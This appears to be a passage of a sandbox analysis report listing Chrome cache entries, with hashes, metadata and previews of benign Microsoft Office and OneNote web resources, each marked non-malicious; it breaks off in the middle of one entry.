Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9258
Entropy (8bit):	5.806838074326134
Encrypted:	false
SSDEEP:	96:yA0JNQoxbu9xsW4guOCrae6aakWLAnHx4FbqdyjeBR56o8ykHVPAI5em1LQxhcA3:vCJ3xnWLiR4kcS56oW1PAI5eVtPh
MD5:	5FBC6BB137EA2316DEFE300913A950DF
SHA1:	29464B148AE54621A4AAD4F7742A2A05BE6517E3
SHA-256:	82553839D3ECC08D5F9DDF58F9F466B88BFC614F9613DB9525B0E7037BF6843C
SHA-512:	D0E0EB529A240E5ED9F24E7F34AA86AB60734285596B531B36623D56867375523F6BB4CD32D4FE906572EBED129A0595DE315B5B6DD9F46AEE5342048352C5E7
Malicious:	false
Reputation:	low
URL:	https://fa000000138.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2406.14001/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>54fe4e50-e89c-412b-a034-143b547f9c5d</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Meeting Details">.. <Override Locale="af-ZA" Value="Vergaderingbesonderhede" />.. <Override Locale="am-ET" Value="..... ....." />.. <Override Locale="ar-SA" Value="...... ........" />.. <Override Locale="as-IN" Value="...... ....-....." />.. <Override Locale="az-Latn-AZ" Value="Toplant. T.f.rr.atlar." />.. <Override Locale="be-BY" Value="..........

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64762), with CRLF line terminators
Category:	dropped
Size (bytes):	708480
Entropy (8bit):	5.282708330463167
Encrypted:	false
SSDEEP:	6144:P19A77uzAFNPZkKhCdb78g1+0OZJxi/FdgR4/6B5T5Yeh:Y1ZkKh59M6Ft
MD5:	6360B09DC87925D59B7780B5F6D5C59E
SHA1:	A2AA60A5FC87D851433E348B885727E2A207BFD9
SHA-256:	54E5667E72FF009E653ACA8753B8769732F70541ECE628C40B129141A9C57FC8
SHA-512:	82929CC52669D620D58E85435D84A6C2619C3F5C7FF9DA1F58043AC780C038AA73D243AA0C6D2764837F00C8105F004CFE78DA92A5A4D6DBCD54BCC0CA6DC8D8
Malicious:	false
Reputation:	low
Preview:	/...Copyright (c) Microsoft Corporation. All rights reserved.../..../...Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md../..../.. @overview es6-promise - a tiny implementation of Promises/A+...* @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)..* @license Licensed under MIT license..* See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE..* @version 2.3.0..*/......// Sources:..// osfweb: 16.0\16.0.17901.15000..// runtime: 16.0\16.0.17901.15000..// core: 16.0\16.0.17901.15000..// host: 16.0\16.0.17901.15000........var OfficeExt,__extends=this&&this.__extends\|\|function(){var e=function(t,n){return(e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31513
Entropy (8bit):	4.822633734679296
Encrypted:	false
SSDEEP:	768:8wQwnwZwSwlwSwpwowHwTwDwvwpwBwbwZwqIwhhFwhdw3wdwAwKwKwBw8wLwKwL1:8wQwnwZwSwlwSwpwowHwTwDwvwpwBwb0
MD5:	AFD2D8D65A10EDB6B7BACFA72CFB9723
SHA1:	39DFC653F7D6B0184839F390E4D4AAFCE80B353A
SHA-256:	2239AF977108F8A3350201BC272133064A3FCEE208776F8B4A0EBDD5357F2F84
SHA-512:	50147EBA6E39785CA34DD627653284AADADCDCF10CFEE9DE1C3DE65D1A1E3E42D4CF9301DCC4A51EC640B6BBDFB1D3C50181C52CF6ABA6BEB6BACAFA116D1CDA
Malicious:	false
Reputation:	low
Preview:	{"dashboard":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/dashboard.en.bundle.js"},"version":"2024.7.1.7"},"groups":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/groups.en.bundle.js"},"version":"2024.7.1.7"},"app-mgmt":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/app-mgmt.en.bundle.js"},"version":"2024.7.1.7"},"esign":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/esign.en.bundle.js"},"version":"2024.7.1.7"},"viva-goals-organization-views":{"cdnUrl":"https://res.

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
Reputation:	low
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3638
Entropy (8bit):	4.31540378622983
Encrypted:	false
SSDEEP:	96:v/fGnScPHM6hkOh7uEjJ7UymTmhI4n3owG39VoN:v/+npHDhkg5lATwGVC
MD5:	DBA1038EEB23A467A44CAD6E66BF8339
SHA1:	6D85676E9C1DA3CF7F4E728F1B191B54E71E9774
SHA-256:	1C986F5981135233DB949C209F4DDBEF62DC71A446E5AF77F9CED8754A50C84E
SHA-512:	11114F59FA09B316B7D634D48CF555FA0FFE1C478DFD7562B951A3780BB1B8DCB8805292B2DC38CDC83CE5329CB6A457FA691084DCDE85F26A03F75E72D3C7AC
Malicious:	false
Reputation:	low
URL:	https://euc-onenote.officeapps.live.com/o/AppSettingsHandler.ashx?app=OneNote&usid=5ed32588-7623-377d-905c-f0003950d05f&build=
Preview:	{"timestamp":1721128044858,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"0D2FB038748FD7F15682069D0E94E4BE713F6F45","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,229

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58105)
Category:	dropped
Size (bytes):	58152
Entropy (8bit):	5.681762787650447
Encrypted:	false
SSDEEP:	768:HA9ttawNpmXuzK2STKWBRutlWoZVJWZlP1iQ0+SiTyIDB0YpS43eiSTtvPOiZRSa:HA9t0wNpmXuzK2Sbgn3mW343NKCPuMyV
MD5:	D4D3635E6ABF0C7D890D86DDC75C0687
SHA1:	380ED62EE6442968310DDBD0E9EB270F2DED92AD
SHA-256:	6183A1E117193BA33C3A5FD22957407BC5C2F4CCF3561DC46A375D7EA1178284
SHA-512:	AB4B10E397BDAEE72824139EF1DE9DFC855B87A92F56F66FDF1D08D7DBE2C3133A340FCE09CB1D072CDAEB00BFD1C257C95C32AC27579BCA3641C7D6DCA160E2
Malicious:	false
Reputation:	low
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},a=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(a=a.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),a.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}(globalThis.onenote

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (645)
Category:	downloaded
Size (bytes):	5039180
Entropy (8bit):	5.683099892465936
Encrypted:	false
SSDEEP:	49152:liuaAEpce7MDScJ+CCuQKHO0iOIXWcLcJ/vmtNsiXxy/c15wWlms7DHqjXRytKn3:4+GAA/AAYr
MD5:	598DC8880C603E79C1B3DFE49F350C5B
SHA1:	D6932375BBBDD063F0D21BC5EFB4AD4EF96F4352
SHA-256:	E092932DC89E7EC8C2183EF9902658F047F35248A20D9C5E099674AC169F9DB8
SHA-512:	759137DD0895A369ECA206D4AAF20CFDEB13B2496F3D89F52ACE768695FB3BEFE636BF4BD7D925EBD9A924FC10AB91B10D793709AA86B546AB3A3944E1CCD393
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hE092932DC89E7EC8_App_Scripts/OneNoteDS.js
Preview:	/. Microsoft Corporation. All rights reserved.. The buffer module from node.js, for the browser... @author Feross Aboukhadijeh <https://feross.org>. @license MIT. ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> https://mths.be/punycode v1.4.1 by @mathias Copyright (c) Microsoft Corporation and contributors. All rights reserved.. Licensed under the MIT License../.'use strict';function ve(Ba){var $a=0;return function(){return $a<Ba.length?{done:!1,value:Ba[$a++]}:{done:!0}}}var $G="function"==typeof Object.defineProperties?Object.defineProperty:function(Ba,$a,R){if(Ba==Array.prototype\|\|Ba==Object.prototype)return Ba;Ba[$a]=R.value;return Ba};.function aH(Ba){Ba=["object"==typeof globalThis&&globalThis,Ba,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var $a=0;$a<Ba.length;++$a){var R=Ba[$a];if(R&&R.Math==Math)return R}throw Error("Cannot find global object");}var rH=aH(this);.function uH(Ba,$a){if

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1922), with no line terminators
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	5.006174566262526
Encrypted:	false
SSDEEP:	48:yThd/YIWeETNQuFNJMgBVAGzeFWOUutFRVoZjskBWs:U0IWYuPuG3yov
MD5:	3E3CD75B07B521BC61C01450E2C7873A
SHA1:	57D7881E0E878CABE74B1021CF86126148928DE7
SHA-256:	2882BF4B22D0AD63E6F8877EB5C22353921E8C87B197911462933B7D1A7A44B8
SHA-512:	3B1D53CB1F49B2CF8648CEF8EDEB526B924430F2FC622421DF6AB3F61E49449CD5EB8BCCC7E6A019575A4843B0D3C50A69C4B0BF1D1133F960E92969CAC37BE7
Malicious:	false
Reputation:	low
Preview:	function InitializeUls(){TheUlsHost=new Diag.ConsoleUlsHost;Diag.ULS.setUlsHost(TheUlsHost)}function FlushBrowserUls(){TheUlsHost&&TheUlsHost.dispose();InitializeUls()}var __extends=this.__extends\|\|function(n,t){function r(){this.constructor=n}for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i]);r.prototype=t.prototype;n.prototype=new r},Diag,TheUlsHost;(function(n){var t=function(){function n(){}return n.prototype.isEnabled=function(){var n=!1;try{typeof Storage!="undefined"&&(n=localStorage.getItem("EnableConsoleLogging")==="true")}catch(t){}return n&&window.console&&window.console.log},n.prototype.error=function(n){window.console.error(n)},n.prototype.warning=function(n){window.console.warn(n)},n.prototype.info=function(n){window.console.info(n)},n.prototype.log=function(n){window.console.log(n)},n}(),i=function(i){function r(r,u){r===void 0&&(r=new t);i.call(this,SessionId,BrowserUlsUploadPath,new n.UlsUploadConfiguration(null,null,null,null,null,null,!0));this._console=r;this._suppress

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1592)
Category:	dropped
Size (bytes):	4361
Entropy (8bit):	5.015343620789157
Encrypted:	false
SSDEEP:	96:6QW+RXubWqFK+3a74P1LPc5ZGjmnjKufo+WrQavWokRgbh:6QDR+bWqsoJP1LPwGCnjKZAch
MD5:	6FFA8730D444E69CCE6636FF3FF0281F
SHA1:	99A0BAF2B0AEF4659AD243D16D47BDCD4C8AFB54
SHA-256:	4605AA02B66C4F22E2C9C1A8686308E92EBA36E1C1E2966E1728CE67442746A1
SHA-512:	D538EC46219C291F6B74773718267465CCDA38DC1F50186BFDB02ABAEC7B52402BCAFA1B628518127A38708D4986C32D57AB0C4423F6BACB2264EE68D3C59BBD
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["ondemand.resx"],{737:e=>{e.exports=JSON.parse('{"b":"Pick a file\|\|Pick files","a":"1\|\|2-","d":"Pick a folder\|\|Pick folders","c":"1\|\|2-","f":"Pick an item\|\|Pick items","e":"1\|\|2-"}')}.,693:e=>{e.exports=JSON.parse('{"a":"My files"}')}.,694:e=>{e.exports=JSON.parse('{"c":"Couldn\\u0027t load the share experience. Please try again later.","b":"Share","a":"Loading share dialog"}')}.,848:e=>{e.exports=JSON.parse('{"f":"{0} TB","c":"{0} GB","e":"{0} MB","d":"{0} KB","a":"{0} bytes","b":"1 byte","g":"< 0.1 GB"}')}.,684:e=>{e.exports=JSON.parse('{"m":"Open in Word","h":"Open in Project","b":"Open in Excel","g":"Open in PowerPoint","e":"Open in OneNote","k":"Open in Visio","i":"Open in Publisher","c":"Open in InfoPath","l":"Open in Word Online","f":"Open in PowerPoint Online","a":"Open in Excel Online","d":"Open in OneNote Online","j":"Open in Visio Online"}')}.,819:e=>{e.exports=JSON.parse('{"g":"Are you sure you wa

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	142864
Entropy (8bit):	5.368940652952714
Encrypted:	false
SSDEEP:	3072:pZ8BledUrJR/79GCeBN3G6i6PJm6oOlXy9Ohll31u9zQrcVL:pZ8Ble8n/wP9Pdhngzx
MD5:	CCF14BAB648E1928627B29820DD3935E
SHA1:	777026F56F9A96B0E1143F9C321C50B1113036A0
SHA-256:	AE936AAE69A6CF06CFD2752B709EAE22FB35BCE963983FDD273E74A5ED3CA359
SHA-512:	4C195A3DB79A6EA20DEFB73A94B7DDD7B66BCAF687F251BA789F31FFE959C83CA7688FDBD041BDAB897A362A652C3BD767BEBD613160F47038678E47A97E1A66
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/wise/owl/onenote-boot.fb57f996e7a4a8373c47.js
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(t){var e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={i:s,l:!1,exports:{}};return t[s].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=t,i.c=e,i.d=function(t,e,s){i.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:s})},i.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(s,o,function(e){return t[e]}.bind(null,o));return s},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,e){return Object.prototype.hasOwnPro

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11667), with no line terminators
Category:	downloaded
Size (bytes):	11667
Entropy (8bit):	4.97980937003193
Encrypted:	false
SSDEEP:	192:cHGtlNF+JzgGuA3pNvWAPsYmiT398yRFXiBpiiBlVIkslsunbe4uGfEinAMj9fsh:T/kpldNhVVimx+8mkKDypJBJeJjxQSlT
MD5:	A1D892F1368C7F3B1DFB75057B936B66
SHA1:	91EC4980BFA5B301199B574E6240A618247679F9
SHA-256:	2DB70125E37F651D09A6D03D593A65E09668E6267CCA1257251328517F7EAEFC
SHA-512:	F2834E3B673CF7BFBABF9A92A0D4524F5696996CA67EBD6605F08206C95C3DCCE3AB95E4297452186074EB92827BFA4D811A61959EBA60544393BA14F4C7A3B9
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/osfruntime_strings.js
Preview:	Type.registerNamespace("Strings");Strings.OsfRuntime=function(){};Strings.OsfRuntime.registerClass("Strings.OsfRuntime");Strings.OsfRuntime.L_ActivateAttempLoading_ERR="This add-in may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateAttempLoading_ERR_FirstParty="This feature may not load properly, but you can still try to start it.";Strings.OsfRuntime.L_ActivateButton_TXT="Start";Strings.OsfRuntime.L_AddinCommands_AddinNotSupported_Message="Your add-in manifest is not valid.";Strings.OsfRuntime.L_AddinCommands_LearnMore_Link="Learn more.";Strings.OsfRuntime.L_AddinsCatalogIframeTitle_TXT="Office Add-ins catalog iframe";Strings.OsfRuntime.L_AgaveActivationError_ERR="Something went wrong and we couldn't start this add-in. Please try again later or contact your system administrator.";Strings.OsfRuntime.L_AgaveActivationError_ERR_FirstParty="Something went wrong and we couldn't start this feature. Please try again later or contact your system administrat

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60158)
Category:	downloaded
Size (bytes):	60199
Entropy (8bit):	5.397699513420542
Encrypted:	false
SSDEEP:	768:b2LlwLEt/yMYv2VPDK/AwJaAuwBYfmhBhYhNca/jopjCmW2TPkMkY40IbJrbrXSo:b2LMJfBh8cwQkBaf63pBBZ9JR0c
MD5:	563C580A5DA893389A4CA7019CED24E5
SHA1:	E328B1BDA905BC27656A0F66351617816656CFBD
SHA-256:	E207FA1D74E1A96F1834D9B8E13E7F8110A90C70E51307EBB45074632BEB0202
SHA-512:	EFD50C6951C6D4ABCF2A8C979B18B3393F8D58E3CACDD7EFB1432B91FB282B3BEB5F1514F593F7B0B602E1E1C7E845092C72AC8310F89EDB12B2E873304ADB7A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/oreolazy.min.js
Preview:	"use strict";function _define_property(e,t,i){return t in e?Object.defineProperty(e,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[t]=i,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(e){return Object.getOwnPropertyDescriptor(i,e).enumerable})))),n.forEach((function(t){_define_property(e,t,i[t])}))}return e}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[658],{91855:function(e,t){var i;Object.defineProperty(t,"__esModule",{value:!0}),(i=t._BondDataType\|\|(t._BondDataType={}))[i._BT_STOP=0]="_BT_STOP",i[i._BT_STOP_BASE=1]="_BT_STOP_BASE",i[i._BT_BOOL=2]="_BT_BOOL",i[i._BT_DOUBLE=8]="_BT_DOUBLE",i[i._BT_STRING=9]="_BT_STRING",i[i._BT_STRUCT=10]="_BT_STRUCT",i[i._BT_LIST=11]="_BT_LIST",i[i._BT_MAP=13]="_BT_MAP",i[i._BT_INT32=16]="_BT_INT32",i[i._BT_INT64=17]="_BT_INT64"},

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65308), with no line terminators
Category:	dropped
Size (bytes):	272739
Entropy (8bit):	5.705895975674643
Encrypted:	false
SSDEEP:	6144:hyV/ufsP+7xZPujS3wiGAuYboyDVWxeO0cJxG1AB6:MWfsEXPujGkRYboVxeO0cJxG1AB6
MD5:	A61058AE32D3E596C6334216C2F67E0D
SHA1:	5A6D09E2A61F81CF22BCCAD8BF7F483D20A8FB21
SHA-256:	D27393D92C7BC61C82993AD0F2A88DB0E67E6126DF092DF9D9FDE98F3B9A958A
SHA-512:	3C6A36B0E8680F8F64C9D7EFC159EAD6E59F4DE3A341B6B1A0FD5E736DADE200F0908E285AE40CB999BAFE49E762509023695E0890718D71792C6BEB45E48839
Malicious:	false
Reputation:	low
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_core_start"),function(){var e,t,n,o,r,i={29083:function(e,t,n){"use strict";var o;n.d(t,{f:function(){return o}}),function(e){e.depth0="0 0 0 0 transparent",e.depth4="0 1.6px 3.6px 0 rgba(0, 0, 0, 0.132), 0 0.3px 0.9px 0 rgba(0, 0, 0, 0.108)",e.depth8="0 3.2px 7.2px 0 rgba(0, 0, 0, 0.132), 0 0.6px 1.8px 0 rgba(0, 0, 0, 0.108)",e.depth16="0 6.4px 14.4px 0 rgba(0, 0, 0, 0.132), 0 1.2px 3.6px 0 rgba(0, 0, 0, 0.108)",e.depth64="0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18)"}(o\|\|(o={}))},31707:function(e,t,n){"use strict";n.d(t,{I:function(){return c}});var o=/[$\[\{\<][^$\]\}\>][\)\]\}\>]/g,r=/[\0-\u001F\!-/:-@\[-`\{-\u00BF\u0250-\u036F\uD800-\uFFFF]/g,i=/^\d+[\d\s](:?ext\|x\|)\s*\d+$/i,s=/\s+/g,a=/[\u0600-\u06FF\u0750-\u077F\u08A0-\u08FF\u1100-\u11FF\u3130-\u318F\uA960-

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	dropped
Size (bytes):	690699
Entropy (8bit):	5.556239870405705
Encrypted:	false
SSDEEP:	12288:qtJj/At+JFlcl4EvR9Q8uzEFwtgLEPLWBPVcvjKYvtI91tICqTbXm4At:qL/FFlcl4EvR9Q8pFw5VjKYv291tICqA
MD5:	8D6AC55E4D32F042F9279872BF5DA7A1
SHA1:	2E33325DBF350C5BD3D3F67D9EE118494C56AB59
SHA-256:	143DAD6AF3EA8CF7E1EA6E02CAD7BA0C72A5061035ACF1FB360851CE9038CDC4
SHA-512:	6B58BC71B14239956474780A8E26F2FB346D92A90A73AD4BCEB6E30F533177E3B5AFA145DBD2F22636BC283C9431D023B21A17810A79069A828CD1ADB1AA9801
Malicious:	false
Reputation:	low
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	198742
Entropy (8bit):	5.52362806190274
Encrypted:	false
